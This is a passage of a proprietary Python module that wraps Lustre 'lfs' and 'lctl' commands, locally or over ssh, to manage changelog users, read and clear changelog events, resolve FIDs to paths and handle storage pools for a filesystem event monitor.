PERFORMANCE, OR PUBLIC DISPLAY OF OR\n#  THROUGH USE  OF THIS  SOURCE CODE  WITHOUT  THE EXPRESS WRITTEN CONSENT OF COMPANY IS STRICTLY PROHIBITED,\n#  AND IN VIOLATION OF APPLICABLE LAWS AND INTERNATIONAL TREATIES.  THE RECEIPT OR POSSESSION OF  THIS SOURCE\n#  CODE AND/OR RELATED INFORMATION DOES NOT CONVEY OR IMPLY ANY RIGHTS TO REPRODUCE, DISCLOSE OR DISTRIBUTE\n#  ITS CONTENTS, OR TO MANUFACTURE, USE, OR SELL ANYTHING THAT IT  MAY DESCRIBE, IN WHOLE OR IN PART.\n#\n#  FOR U.S. GOVERNMENT CUSTOMERS REGARDING THIS DOCUMENTATION/SOFTWARE\n#    These notices shall be marked on any reproduction of this data, in whole or in part.\n#    NOTICE: Notwithstanding any other lease or license that may pertain to, or accompany the delivery of,\n#    this computer software, the rights of the Government regarding its use, reproduction and disclosure are\n#    as set forth in Section 52.227-19 of the FARS Computer Software-Restricted Rights clause.\n#    RESTRICTED RIGHTS NOTICE: Use, duplication, or disclosure by the Government is subject to the\n#    restrictions as set forth in subparagraph (c)(1)(ii) of the Rights in Technical Data and Computer\n#    Software clause at DFARS 52.227-7013.\n#\n# ***********************************************************************************************************\n\"\"\"\n    Part of the distribution\n\n    Relevant Lustre CLI commands to manage the changelog\n    Class\n     AdmCmds      lfs commands that can return changelog events\n                  lctl commands that register, inspect changelog, report on users, etc.\n                  -  These must run on the MDS (server) hosting the target metadata for the filesystem(MDT)\n\n                    paths to lfs and lctl, as well as some unix utilities, \n                    are provided through the get_external_binary_paths() method of module sf_lustre.event_context\n\n     CL == changelog\n\n     the ssh capability has to be validated at each installation (key-authentication)\n     there is always the possibility that an ssh cmd will fail and not return any usable values\n     need to do validity check and provide default values (old values?)\n\"\"\"\n\nfrom logging  import getLogger\nimport os\nimport re\nimport stat\nimport subprocess as sp\nimport sys\n\nfrom sf_em_common.eventExceptions import NotUniqueCLUser\nfrom sf_em_common.utils import partition\n\n# REFACTOR: get_external_binary_paths should eventually be moved to sf_em_common pkg\nfrom sf_lustre.event_context import get_external_binary_paths\n\nfrom sfutils.directories import get_directory_location\nfrom sfutils.encoding import is_utf8\nfrom sfutils.api.exit_codes import ExitCodes\n\n# Should decorate all functions issuing commands across the network to test for empty return values\n# with multiple tries and then fail if still empty\n#--------------------------------------------------------------------------------------------------------\n# on MDS\n# ssh lustre2 lctl list_nids\n# ssh lustre2 lctl network up\n# ssh lustre2 lctl dl | grep -w mdt | awk '{print $4}'\n\n# ssh lustre2 lctl --device sf-l-MDT0000 changelog_register\n# ssh lustre2 lctl --device sf-l-MDT0000 changelog_deregister cl4\n# ssh lustre2 lctl list_param mdd.sf-l-MDT0000\n# ssh lustre2 lctl get_param  mdd.sf-l-MDT0000.changelog_users | grep cl\n# ssh lustre2 lctl get_param mdd.sf-l-MDT0000.changelog_mask\n#                         note nested quotes\n# ssh lustre2 lctl set_param \"mdd.sf-l-MDT0000.changelog_mask='CREAT MKDIR HLINK UNLNK RMDIR RENME CLOSE LYOUT TRUNC SATTR XATTR HSM MTIME CTIME ATIME'\"\n# ssh lustre2 lctl pool_new sf-l.pool0\n# ssh lustre2 lctl pool_list sf-l\n# ssh lustre2 lctl pool_list /mnt/ost0\n# ssh lustre2 lctl pool_add sf-l.pool1 OST0000\n# ssh lustre2 lctl pool_list sf-l.pool1\n# ssh lustre2 lctl pool_remove sf-l.pool1 OST0000\n\n#--------------------------------------------------------------------------------------------------------\n# on client\n# lfs pool_list sf-l\n# lfs osts\n# lfs osts /mnt/ost0\n# lfs changelog sf-l-MDT0000\n# lfs changelog sf-l-MDT0000 2200000 2200005\n# lfs changelog_clear  sf-l-MDT0000 cl1\n# lfs getstripe --pool /mnt/ost0/d0014/d0014_0015/f0014_0015_0022\n# lfs setstripe --pool pool2 /mnt/ost0/d0014/d0014_0015/f0014_0015_0032\n# lfs migrate --pool pool1 /mnt/ost0/d0014/d0014_0015/f0014_0015_0022\n# lfs fid2path /mnt/ost0 0x200000411:0xd1fc:0x0\n# lfs path2fid /mnt/ost0/d0014/d0014_0015/f0014_0015_0022\n#\n#--------------------------------------------------------------------------------------------------------\nclass AdmCmds(object):\n    _admlogger=getLogger(__name__)\n    def __init__(self, args):\n        self.args = args\n        self.filesystem = args.fsPath\n        self.cluser = args.cluser\n        self.mds_host = args.mdshost\n        self.mdt = args.mdt\n        self.installdir = get_directory_location(\"sfhome\")\n        self.bindir = get_directory_location(\"bin\")\n        self.datadir = get_directory_location(\"share\")\n        self.tmpdir = os.path.join(self.installdir, 'run')\n        self.eventCount = 0\n        self.start_event = 0\n        self.currentevent = 0\n        self.external_binariesD =  get_external_binary_paths()\n        self.lfs = self.external_binariesD['lfs_binary']\n        self.lctl = self.external_binariesD['lctl_binary']\n        self.ssh_cmd = [self.external_binariesD['ssh_binary'],self.mds_host] if self.mds_host else []  \n        self.sequence_no_RE = re.compile(r'(\\d+)')\n\n#------------------------------------------------------------------------------------------------------\n# These error messages may change for diff versions of Lustre\n        self.badPath_RE = re.compile(\"path2fid: can't get fid for\")\n        self.fidSRE = '[pst]+[p]*=\\[([xa-f0-9:]+)\\]'\n#------------------------------------------------------------------------------------------------------\n# Stats of interest to be reported to scan service\n        self.not_utf8_files_count = 0\n        self.no_file_path_for_FID_count = 0\n#--------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------\n    def CLUsers(self):\n        \"\"\"\n          Option for using ssh to a remote MDS\n          Return list of changelog users\n        \"\"\"\n        mdd = \".\".join(['mdd',self.mdt,'changelog_users'])\n        base_lctl_cmd = [self.lctl,'get_param',mdd]\n        lctl_cmd = self.ssh_cmd + base_lctl_cmd\n        grep_cmd = [self.external_binariesD['grep_binary'],'^cl[0-9]']\n        awk_cmd = [self.external_binariesD['awk_binary'],'{print $1}']\n        p1 = sp.Popen(lctl_cmd,stdout=sp.PIPE,universal_newlines=True)\n        p2 = sp.Popen(grep_cmd,stdin=p1.stdout,stdout=sp.PIPE,universal_newlines=True)\n        p3 = sp.Popen(awk_cmd,stdin=p2.stdout,stdout=sp.PIPE,universal_newlines=True)\n        p1.stdout.close()\n        p2.stdout.close()\n        cluserL = p3.stdout.read().splitlines()\n        p3.stdout.close()\n        return cluserL\n#------------------------------------------------------------------------\n# Make sure there are no active CL users when starting the event monitor service\n#  the changelog monitor should start just before scanning the filesystem.\n#     events before the scan starts are irrelevant\n# Compare the cluser passed with option '--cluser' to the \"list\" of clusers deduced from the\n#       \"ssh <node> lctl get_param 'mdd'.<mdt>.changelog_users\"   command\n# 4 conditions, each with it's own consequence\n#------------------------------------------------------------------------\n# REFACTOR: better name is check_CLusers()\n    def initCLusers(self,cluser):\n        clusersL = self.CLUsers() # cluser list from MDT\n        self.cluser = cluser      # cluser from command line\n        num_clusers = len(clusersL)\n        if num_clusers == 0:\n            msg = (' No changelog(CL) user was registered. Without a registered CL user, no events will be generated for file operations.'\n                   ' Monitoring has to abort.\\n'\n                   ' A CL user should have been created before POSIX scanning was started.'\n                   \" Expecting CL user '{}'.\".format(self.cluser)\n                  )\n            raise NotUniqueCLUser(2,msg)\n        elif num_clusers > 1:\n            msg = (' Too many changelog(CL) users are registered. A system administrator has to check'\n                   \" to make sure that starfish isn't sharing the changelog with other applications\"\n                   ' and ensure that only the Starfish CL user is registered when starting the event monitor.\\n'\n                   ' Only one registered CL user is allowed for this volume at this time.'\n                   \" The changelog(CL) user passed on the command line is '{}',\".format(self.cluser) +\n                   \" and the CL users registered by the MDS are {},\".format(clusersL) +\n                   ' With too many CL users, monitoring has to abort.'\n                  )\n            raise NotUniqueCLUser(3,msg)\n        elif clusersL[0] != self.cluser :\n            msg = (\" The changelog(CL) user passed on the command line, '{}',\".format(self.cluser) +\n                   \" and the CL user registered by the MDS, '{}',\".format(clusersL[0]) +\n                   ' are not the same. Without the right CL user, monitoring has to abort.'\n                  )\n            raise NotUniqueCLUser(1,msg)\n#--------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------\n    def CLIndices(self):\n        \"\"\"\n          Run occasionally\n          The number of CL users should already have been adjusted to 1\n          Option for using ssh to query a remote MDS\n          Return current index and user index for changelog as dict\n          User index is the last event cleared for that user (next event in changelog is user index + 1)\n          Include check for additional CL users, just in case someone is messing with the system\n          while SF is running (it can cause problems with deleting the log entries)\n        \"\"\"\n        mdd = \".\".join(['mdd',self.mdt,'changelog_users'])\n        base_lctl_cmd = [self.lctl,'get_param',mdd]\n        lctl_cmd = self.ssh_cmd + base_lctl_cmd\n        grep_cmd = [self.external_binariesD['grep_binary'],'^cl[0-9]']\n        awk_cmd = [self.external_binariesD['awk_binary'],'{print $1,$2}']\n        p1 = sp.Popen(lctl_cmd,stdout=sp.PIPE,universal_newlines=True)\n        p2 = sp.Popen(grep_cmd,stdin=p1.stdout,stdout=sp.PIPE,universal_newlines=True)\n        p3 = sp.Popen(awk_cmd,stdin=p2.stdout,stdout=sp.PIPE,universal_newlines=True)\n        p1.stdout.close()\n        p2.stdout.close()\n        cluserL = p3.stdout.read().strip().split()\n        p3.stdout.close()\n        grep_cmd = [self.external_binariesD['grep_binary'],'current']\n        awk_cmd = [self.external_binariesD['awk_binary'],'{print $3}']\n        p1 = sp.Popen(lctl_cmd,stdout=sp.PIPE,universal_newlines=True)\n        p2 = sp.Popen(grep_cmd,stdin=p1.stdout,stdout=sp.PIPE,universal_newlines=True)\n        p3 = sp.Popen(awk_cmd,stdin=p2.stdout,stdout=sp.PIPE,universal_newlines=True)\n        p1.stdout.close()\n        p2.stdout.close()\n        currentL = p3.stdout.read().strip().split()\n        p3.stdout.close()\n        # if either the cluser index or the current index returns empty, return an empty dict\n        # and let caller do request again or give up\n        if not cluserL or not currentL:\n            return {}\n        if not self.cluser == cluserL[0]:\n            msg = ( ' The current CL user {} is different than what the monitor started with {}.'.format(cluserL[0],self.cluser) +\n                    ' Restart the service')\n            AdmCmds._admlogger.error(\"ERROR \" + msg)\n            sys.exit(ExitCodes.FS_MONITOR_ERROR)\n        clIndexD = {'current':int(currentL[-1]), 'cluser': cluserL[0], 'clIndex':int(cluserL[1])}\n        return clIndexD\n\n    def registerCLUser(self):\n        \"\"\"\n          Option for using ssh to a remote MDS\n          Example output:\n                sf-l-MDT0000: Registered changelog userid 'cl6'\n          Output: cluser is in self.cluser\n          This is provided for informational purposes - not used by the monitor.\n             -- note that CL user can't be shared with another application\n        \"\"\"\n        base_lctl_cmd = [self.lctl,'--device',self.mdt,'changelog_register']\n        lctl_cmd = self.ssh_cmd + base_lctl_cmd\n        grep_cmd = [self.external_binariesD['grep_binary'],'userid']\n        p1 = sp.Popen(lctl_cmd,stdout=sp.PIPE,universal_newlines=True)\n        p2 = sp.Popen(grep_cmd,stdin=p1.stdout,stdout=sp.PIPE,universal_newlines=True)\n        p1.stdout.close()\n        cluserS = p2.stdout.read()\n        p2.stdout.close()\n        AdmCmds._admlogger.debug(cluserS)\n        cluserL = re.split(r\"[\\'\\s]+\",cluserS)\n        if len(cluserL) > 0:\n            msg = (' There can be no other changelog users. '\n                   'The administrator has to '\n                   'specify the CL user with the  --cluser option \\n' +\n                   \" \".join(cluserL)\n                  )\n            AdmCmds._admlogger.error(\"ERROR \" + msg)\n            sys.exit(ExitCodes.FS_MONITOR_ERROR)\n        elif cluserL[0] == '':\n            msg = (' No new CL user was registered. Without a CL user, monitoring has to abort.'\n                   ' Check  that the ssh host is the primary MDS able to register CL users or '\n                   ' have the administrator create a CL user by hand and use the'\n                   ' --cluser option when starting the event monitor service '\n                   )\n            AdmCmds._admlogger.error(\"ERROR \" + msg)\n            sys.exit(ExitCodes.FS_MONITOR_ERROR)\n        self.cluser = cluserL[-2] if cluserL[-1] == '' else cluserL[-1]\n    def deregisterCLUserL(self,cluserL):\n        for cluser in cluserL:\n            base_lctl_cmd = [self.lctl,'--device',self.mdt,'changelog_deregister',cluser]\n            lctl_cmd = self.ssh_cmd + base_lctl_cmd\n            p1 = sp.Popen(lctl_cmd,stdout=sp.PIPE,universal_newlines=True)\n            cluserS = p1.stdout.read()\n#--------------------------------------------------------------------------------------------------------\n    \"\"\"\n        lfs commands\n    \"\"\"\n#--------------------------------------------------------------------------------------------------------\n    def lustre_version(self,mdshost):\n        \"\"\"\n            return major,minor lustre sftwr level\n            lfs --version\n            needs to run on the MDS associated with the lustre file system of interest\n\n            since filenames can have arbitrary \\r\\n sequences embedded in them, subprocessing can't use\n            universal newlines. Have to read in bytes and decode to utf-8\n        \"\"\"\n        lfs_cmd = [self.external_binariesD['ssh_binary'],mdshost,self.lfs,'--version']\n        out = sp.check_output(lfs_cmd,universal_newlines=True)\n        lustre_ver = out.strip()\n        lustreL = re.split('[.]',lustre_ver)[0:2]\n\n    def reportCLEvents(self,process_changelog,start_event,end_event):\n        \"\"\"\n           process_changelog() is a method from changelogFilter.py\n           Have to provide process_changelog function, because before decoding binary event strings, have to reconstruct\n            full event list. If decoding happens first, any event list item with a non-utf8 filename are rejected,\n            and if the filename also has embedded whitespace (\\n), parsing can fail because fragments of the event may be kept.\n            e.g. - if an event was\n                b'1486 01CREAT 01:49:37.57866 2017.04.25 0x0 t=[0x200001b71:0x28d:0x0] p=[0x200000007:0x1:0x0] \\xa0\\xa1 \\n \\n'\n            it would be split into\n                [b'1486 01CREAT 01:49:37.5786 2017.04.25 0x0 t=[0x200001b71:0x28d:0x0] p=[0x200000007:0x1:0x0] \\xa0\\xa1 ',' ','']\n            but the first element is rejected because it's not utf-8 compatible. so two fragments are left, belonging to no event.\n           Have to supply start_event, end_event, because if the changelog file is big enough,\n           this will be a subset of the records\n           But a configuration option is to grab all events on a first pass through the event read loop\n\n            output from the \"lsf changelog ...\" cmd is a raw bytestring, which has to be split up by '\\n' and checked \n            for utf-8 compatibility\n            event processing expects unicode strings, so decoding has to be here, which means checking has to be here\n            any (events)lines that fail, need to be logged and rest passed on for processing\n        \"\"\"\n        if int(start_event) < 0:\n            lfs_cmd = [self.lfs,'changelog',self.mdt]\n            AdmCmds._admlogger.debug('CHANGELOG cmd: full dump\\n\\t {}'.format(lfs_cmd))\n        else:\n            lfs_cmd = [self.lfs,'changelog',self.mdt,start_event,end_event]\n            AdmCmds._admlogger.debug('CHANGELOG cmd: dump range\\n\\t {}'.format(lfs_cmd))\n        \"\"\"\n            up to lustre 2.9, a bad range of start event, stop event numbers will exit with 0 but return no events\n            But at least one version (2.10?) will return an error code (22) for a bad range\n            will an empty changelog return an error code like the bad-range situation\n            if there are no events, p1 is set to b'', but need to return an empty list\n        \"\"\"\n        try:\n            AdmCmds._admlogger.debug('Before read changelog')\n            p1 = sp.check_output(lfs_cmd)\n            AdmCmds._admlogger.debug('After read changelog. Byte array is {} bytes'.format(len(p1)))\n        except sp.CalledProcessError as cp:\n            msg = (' Error from the changelog. \"{cmd}\" returned with a code of {rc}.\\n'\n                   ' lfs command>  {lfs}\\n'\n                   ' Output {out} '.format(cmd=cp.cmd,rc=cp.returncode,lfs=lfs_cmd,out=cp.output)\n                  )\n            AdmCmds._admlogger.info(msg)\n            p1 = b\"\"\n        except Exception as exc:\n            msg = (' Error from the changelog.\\n'\n                   ' lfs command>  {lfs}\\n'\n                   ' Output {exc} '.format(lfs=lfs_cmd,exc=exc)\n                  )\n            AdmCmds._admlogger.error(msg)\n            sys.exit(\"ERROR \" + msg)\n#  REFACTOR: Is this a finally clause?\n#  REFACTOR: what if a non-utf8 filename also has embedded newlines? the partition will only remove part of an event \n#  - a corrupted filename. Perhaps need to filter all newlines embedded in filenames in the chunk \n#    before screening for non-utf8 filenames and decoding events into utf-8\n#    postpone decoding until after detecting event boundaries?\n# REFACTOR: what about readlines() instead?\n        if not p1:\n            AdmCmds._admlogger.debug('Empty changelog')\n            return []\n        lfs_out = bytearray(p1)[:-1].split(b'\\n')\n        AdmCmds._admlogger.debug('Before process changelog. lfs split output list has {} lines'.format(len(lfs_out)))\n        eventL_bytearray = process_changelog(lfs_out)\n        AdmCmds._admlogger.debug('After process changelog; '\n                        'Before convert bytearray list to bytes list, event list is {} lines'.format(len(eventL_bytearray)))\n        eventL = [bytes(event) for event in eventL_bytearray]\n        AdmCmds._admlogger.debug('After convert bytearray list to bytes list, event list is {} lines'.format(len(eventL)))\n        utf8_fail,utf8_ok = partition(is_utf8,eventL)\n        if utf8_fail:\n            msg = ('Events that include non-utf8 characters\\n{}'.format(repr(utf8_fail)))\n            AdmCmds._admlogger.info(msg)\n            self.not_utf8_files_count += len(utf8_fail)\n        eventsL = [eventstr.decode('utf-8') for eventstr in utf8_ok]\n        AdmCmds._admlogger.debug('After decode events')\n        return eventsL\n\n    def readCLEventsFromFile(self,process_changelog,file_name):\n        \"\"\"\n            This is for testing, so most of the checks from reportCLEvents() are irrelevant\n            The last item in the file is '\\n', so delete it as done in reportCLEvents() with bytearray\n\n            Note - this assumes valid input strings (no embedded non-utf8 characters)\n        \"\"\"\n# REFACTOR: what about readlines() instead of read()?\n        eventsL = []\n        with open(file_name,'rb') as fd:\n            lfs_out = fd.read()[:-1].split(b'\\n')\n            utf8_ok = process_changelog(lfs_out)\n            eventsL = [eventstr.decode('utf-8') for eventstr in utf8_ok]\n        return eventsL\n\n    def clearCL(self,cluser,end_event):\n        \"\"\"\n           Have to supply end_event, because if some events fail to get loaded,\n           the end event number will differ from self.end_event\n\n            All lustre vsns return failed exit code 2 when clearing the changelog \n            if it fails because of using the wrong CL user\n            lustre vsns 2.9+ return failed exit code 22 when clearing the changelog \n            if it fails because of using the wrong CL user\n        \"\"\"\n        lfs_cmd = [self.lfs,'changelog_clear',self.mdt,cluser,end_event]\n        # should be sp.call or similar\n        try:\n            p1 = sp.check_output(lfs_cmd,stderr=sp.STDOUT,universal_newlines=True)\n            msg = ' Cleared events:' + p1\n            AdmCmds._admlogger.debug(msg)\n        except sp.CalledProcessError as cp:\n            if cp.returncode == 2:\n                msg = ( 'failed to clear the changelog for CL user {} on MDT {}. '.format(cluser,self.mdt) +\n                        '\\n\"lfs changelog_clear\" returned with a code of {}.'.format(cp.returncode) + \n                        \"\\nThis implies the CL user doesn't exist. Terminating event monitor\"\n                        )\n                AdmCmds._admlogger.error(msg)\n                sys.exit(\"ERROR \" + msg)\n            elif (cp.returncode == 22):\n                \"\"\"\n                    This is normal for vsns 2.9+ when end_event has already been cleared\n                \"\"\"\n                pass\n            else:\n                msg = ( 'failed to clear the changelog for CL user {} on MDT {}. '.format(cluser,self.mdt) +\n                        '\\n\"lfs changelog_clear\" returned with a code of {}.'.format(cp.returncode) + \n                        \"\\nThis needs manual inspection.\"\n                        )\n                AdmCmds._admlogger.warning(msg)\n\n        # sanity test - last changelog entry cleared should not be retrievable\n        # sp.CalledProcessError likely means the CL user is no longer registered\n        # normal behavior is for this changelog read to return empty\n        lfs_cmd = [self.lfs,'changelog',self.mdt,end_event,end_event]\n        try:\n            p1 = sp.check_output(lfs_cmd)\n        except sp.CalledProcessError as cp:\n            msg = (' Error found when clearing the changelog. \"{cmd}\" returned with a code of {rc}.\\n'\n                   ' lfs command>  {lfs}\\n'\n                   ' this can be caused by the changelog user no longer being registered\\n'\n                   ' Output {out} '.format(cmd=cp.cmd,rc=cp.returncode,lfs=lfs_cmd,out=cp.output)\n                  )\n            AdmCmds._admlogger.exception(msg)\n        except Exception as exc:\n            msg = (' General exception found when clearing the changelog \\n'\n                   ' lfs command>  {lfs}\\n'\n                   ' Output {exc} '.format(lfs=lfs_cmd,exc=exc)\n                  )\n            AdmCmds._admlogger.error(msg)\n        if p1:\n            msg = (' Error found when clearing the changelog. the last event was not cleared \\n'\n                   ' it is possible that more than one CL user is registered to this MDT {mdt}'\n                   ' expecting only CL user {cluser}'.format(mdt=self.mdt,cluser=self.cluser))\n            AdmCmds._admlogger.exception(msg)\n            sys.exit(\"ERROR \" + msg)\n\n#-------------------------------------------------\n    def onePath2fid(self,fullpathS):\n        \"\"\"\n           supply a single path and return a fid or nothing if error\n           example generated line: /mnt/ost0/d0000: [0x20000040c:0x14639:0x0]\n           strip off trailing : [ ] chars\n        \"\"\"\n        lfs_cmd = [self.lfs,'path2fid'] + [fullpathS]\n        try:\n            fidS = sp.check_output(lfs_cmd,stderr=sp.STDOUT,universal_newlines=True)\n        except sp.CalledProcessError:\n            msg = ('onePath2fid: ' + fullpathS + ' undefined ')\n            AdmCmds._admlogger.info(msg)\n            return \"\"\n        fid = fidS.strip(':[]\\n')\n        return fid\n\n    @staticmethod\n    def get_ino_from_fid_direct(fidS):\n        \"\"\"\n            primarily derived from lustre-release/lustre/include/lustre_fid.h\n            other defns in\n              ./lustre/include/lustre/lustre_user.h\n              ./include/lustre/lustre_idl.h\n\n           Flatten 128-bit FID values into a 64-bit value for use as an inode number.\n           For non-IGIF FIDs this starts just over 2^32, and continues without\n           conflict until 2^64, at which point we wrap the high 24 bits of the SEQ\n           into the range where there may not be many OID values in use, to minimize\n           the risk of conflict.\n\n           Suppose LUSTRE_SEQ_MAX_WIDTH less than (1 << 24) which is currently true,\n           the time between re-used inode numbers is very long - 2^40 SEQ numbers,\n           or about 2^40 client mounts, if clients create less than 2^24 files/mount.\n\n        \"\"\"\n        def fid_is_igif(seq):\n            return (seq >= FID_SEQ_IGIF) and ( seq <= FID_SEQ_IGIF_MAX)\n\n        byte4 = 0xFFFFFFFF\n        byte8 = 0xFFFFFFFFFFFFFFFF\n        byte5 = 0xFFFFFF0000\n        FID_SEQ_IGIF            = 12\n        FID_SEQ_IGIF_MAX        = byte4\n\n        fid = fidS.strip(r'[]\\n').split(':')\n        assert len(fid) == 3, ('FID is malformed {}'.format(fidS))\n        seq = int(fid[0],16) & byte8\n        oid = int(fid[1],16) & byte4\n        ver = int(fid[2],16) & byte4\n        if fid_is_igif(seq):\n            return seq\n        ino = (seq << 24) + ((seq >> 24) & byte5) + oid\n        if not ino:\n            ino = oid\n        return ino\n    def pathL2fidD(self,fullpathL):\n        \"\"\"\n           supply a list of paths and return a dict of fids:paths\n           example input line: /mnt/ost0/d0000: [0x20000040c:0x14639:0x0]\n           strip off trailing : [ ] chars\n           could assume fids are output in same order as paths input to make it simpler\n        \"\"\"\n        lfs_cmd = [self.lfs,'path2fid'] + fullpathL\n        p1 = sp.Popen(lfs_cmd,stdout=sp.PIPE,universal_newlines=True)\n        fidL = p1.stdout.readlines()\n        p2fD = {}\n        for i,l in enumerate(fidL):\n            if self.badPath_RE.match(l):\n                msg = ('Skipping' + fullpathL[i])\n                AdmCmds._admlogger.warning(msg)\n                continue\n            fullpath,fid = l.split()\n            p2fD[fid.strip(':[]')] = fullpath.rstrip(':/')\n        return p2fD\n    def fid2path_by_link(self,fidS,link_number):\n        \"\"\"\n           Because of links, one FID can return multiple paths. Therefore, supplying multiple\n           FIDs to \"lfs fid2path\" can result in ambiguous output (which FID generated which path?)\n           supply a single fid and return paths one at a time (until reaching a duplicate)\n            or return an empty list if fid2path returns an error (likely FID is not found, path no longer exists)\n    \n           generates paths one at a time \n            note that each path (fullpathS) is terminated with a '\\n', which needs to be removed from the filename\n\n           Parser is responsible for cleaning up an event field that includes an fid, the input for this function\n           is an FID in a format compatible with lfs fid2path <>  (with or without bracketing [..])\n\n           REFACTOR: there is a danger that a returned path could not be utf8 compliant, so that needs to be checked here\n            as well : should return byte string instead and decode to utf8\n           REFACTOR: This is the slow way to do it - better to rework lfs fid2path to separate paths with null bytes\n\n            REFACTOR: note that \"\" is a string, but is not decodeable. This should be a Monad of some type instead.\n\n            REFACTOR: if lfs_cmd can't find a path for the FID, it throws a sp.CalledProcessError, so it shouldn't matter\n            that the output is empty; the [:-1] never gets executed - does this need clean up?\n        \"\"\"\n        lfs_cmd = [self.lfs,'fid2path'] + ['--link',str(link_number)] + [self.filesystem,fidS]\n        try:\n            fullpathB = bytearray(sp.check_output(lfs_cmd,stderr=sp.STDOUT))[:-1]\n        except sp.CalledProcessError as cp:\n            msg = ('fid2path: ' + fidS + ' undefined')\n            AdmCmds._admlogger.info(msg)\n            msg = ('fid2path_by_link: returned ' + str(cp.returncode))\n            if cp.output:\n                msg += ('\\n' + cp.output.decode('utf-8'))\n            AdmCmds._admlogger.info(msg)\n            return b\"\"\n        except AttributeError as ae:\n            msg = (\"fid2path_by_link: can't find FID: \" + fidS)\n            AdmCmds._admlogger.info(msg)\n            return b\"\"\n        except OSError as e:\n            msg = (\"fid2path_by_link: can't find path: {}\".format(fullpathB))\n            AdmCmds._admlogger.info(msg)\n            return b\"\"\n        else:\n            return os.path.normpath(fullpathB)\n    def fid2path_for_dir(self,fidS):\n        \"\"\"\n           If the FID is known to belong to a directory, then, since directories only have one link, \n           only one call to 'lfs fid2path' is required\n\n           Parser is responsible for cleaning up an event field that includes an fid, the input for this function\n           is an FID in a format compatible with lfs fid2path <>  (with or without bracketing [..])\n\n            REFACTOR: it is debatable whether this should return a list with 1 item (compatible with fid2path()) or\n            a simple string. For now, return simple string, since fid2path_for_dir is only used in a few places\n\n        \"\"\"\n        fullpathB = self.fid2path_by_link(fidS,0)\n        if fullpathB and is_utf8(fullpathB):\n            fullpathS = fullpathB.decode('utf-8')\n        elif fullpathB:\n            msg = ('File path includes non-utf8 characters\\n{}'.format(repr(fullpathB)))\n            AdmCmds._admlogger.info(msg)\n            fullpathS = \"\"\n            self.not_utf8_files_count += 1\n        else:\n            msg = ('No File path exists for supplied FID \\n{}'.format(repr(fidS)))\n            AdmCmds._admlogger.info(msg)\n            fullpathS = \"\"\n            self.no_file_path_for_FID_count += 1\n        return fullpathS\n    def fid2path_nologging_for_dir(self,fidS):\n        \"\"\"\n           Because of links, one FID can return multiple paths. Therefore, supplying multiple\n           FIDs to \"lfs fid2path\" can result in ambiguous output (which FID generated which path?)\n           supply a single fid and return a path or nothing if error\n           just generates a path (no pairing with input FID)\n\n           BRAD-91 - remove events do not need to log an FID as \"undefined\", because that's a normal circumstance\n\n           Parser is responsible for cleaning up an event field that includes an fid, the input for this function\n           is an FID in a format compatible with lfs fid2path <>  (with or without bracketing [..])\n        \"\"\"\n        fullpathS = \"\"\n        fullpathB = self.fid2path_by_link(fidS,0)\n        if fullpathB and is_utf8(fullpathB):\n            fullpathS = fullpathB.decode('utf-8')\n        elif fullpathB:\n            self.not_utf8_files_count += 1\n        else:\n            self.no_file_path_for_FID_count += 1\n        return fullpathS\n\n    def fid2path(self,fidS):\n        \"\"\"\n           Because of links, one FID can return multiple paths. Therefore, supplying multiple\n           FIDs to \"lfs fid2path\" can result in ambiguous output (which FID generated which path?)\n           supply a single fid and return paths one at a time (until reaching a duplicate)\n            or return an empty list if fid2path returns an error (likely FID is not found, path no longer exists)\n    \n           generates paths one at a time \n            note that each path (fullpathS) is terminated with a '\\n', which needs to be removed from the filename\n\n           Parser is responsible for cleaning up an event field that includes an fid, the input for this function\n           is an FID in a format compatible with lfs fid2path <>  (with or without bracketing [..])\n\n           REFACTOR: there is a danger that a returned path could not be utf8 compliant, so that needs to be checked here\n            as well : should return byte string instead and decode to utf8\n           REFACTOR: This is the slow way to do it - better to rework lfs fid2path to separate paths with null bytes\n            REFACTOR: utf8_ok list can't contain a \"\" (empty string) as an item. decode is not callable by \"\"\n        \"\"\"\n        fullpathL = []\n        i = 0\n\n        while True:\n            fullpathB = self.fid2path_by_link(fidS,i)\n            if fullpathB in fullpathL or fullpathB == b\"\":\n                if fullpathB == b\"\":\n                    self.no_file_path_for_FID_count += 1\n                break\n            else:\n                fullpathL.append(fullpathB)\n            i += 1\n        utf8_fail,utf8_ok = partition(is_utf8,fullpathL)\n        if utf8_fail:\n            msg = ('File paths that include non-utf8 characters\\n{}'.format(repr(utf8_fail)))\n            AdmCmds._admlogger.warn(msg)\n            self.not_utf8_files_count += len(utf8_fail)\n        fullpathsL = [fullpathstr.decode('utf-8') for fullpathstr in utf8_ok]\n        return fullpathsL\n    def fid2path_nologging(self,fidS):\n        \"\"\"\n           Because of links, one FID can return multiple paths. Therefore, supplying multiple\n           FIDs to \"lfs fid2path\" can result in ambiguous output (which FID generated which path?)\n           supply a single fid and return a path or nothing if error\n           just generates a path (no pairing with input FID)\n\n           BRAD-91 - remove events do not need to log an FID as \"undefined\", because that's a normal circustance\n\n           Parser is responsible for cleaning up an event field that includes an fid, the input for this function\n           is an FID in a format compatible with lfs fid2path <>  (with or without bracketing [..])\n        \"\"\"\n        fullpathL = []\n        i = 0\n\n        while True:\n            fullpathB = self.fid2path_by_link(fidS,i)\n            if fullpathB in fullpathL or fullpathB == b\"\":\n                if fullpathB == b\"\":\n                    self.no_file_path_for_FID_count += 1\n                break\n            else:\n                fullpathL.append(fullpathB)\n            i += 1\n        utf8_fail,utf8_ok = partition(is_utf8,fullpathL)\n        if utf8_fail:\n            self.not_utf8_files_count += len(utf8_fail)\n        fullpathsL = [fullpathstr.decode('utf-8') for fullpathstr in utf8_ok]\n        return fullpathsL\n    def getpool(self,fullpath):\n        \"\"\"\n           report pools associated with fullpath\n        \"\"\"\n        lfs_cmd = [self.lfs,'getstripe','--pool',fullpath]\n        p1 = sp.Popen(lfs_cmd,stdout=sp.PIPE,universal_newlines=True)\n        poolL = p1.stdout.read().splitlines()\n        return poolL\n\n    def setpool(self,fullpath):\n        \"\"\"\n           change pool associated with fullpath\n           can't be done to file already created or assigned pool\n        \"\"\"\n        lfs_cmd = [self.lfs,'setstripe','--pool',fullpath]\n        p1 = sp.Popen(lfs_cmd,stdout=sp.PIPE,universal_newlines=True)\n        resL = p1.stdout.read().splitlines()\n        return resL\n\n    def migrate(self,fullpath,topool):\n        \"\"\"\n           target pool must have OSTs\n           lfs_migrate is misnamed - it's really meant for rebalancing files between OSTs\n        \"\"\"\n        lfs_cmd = [self.lfs,'migrate','--pool',topool,fullpath]\n        p1 = 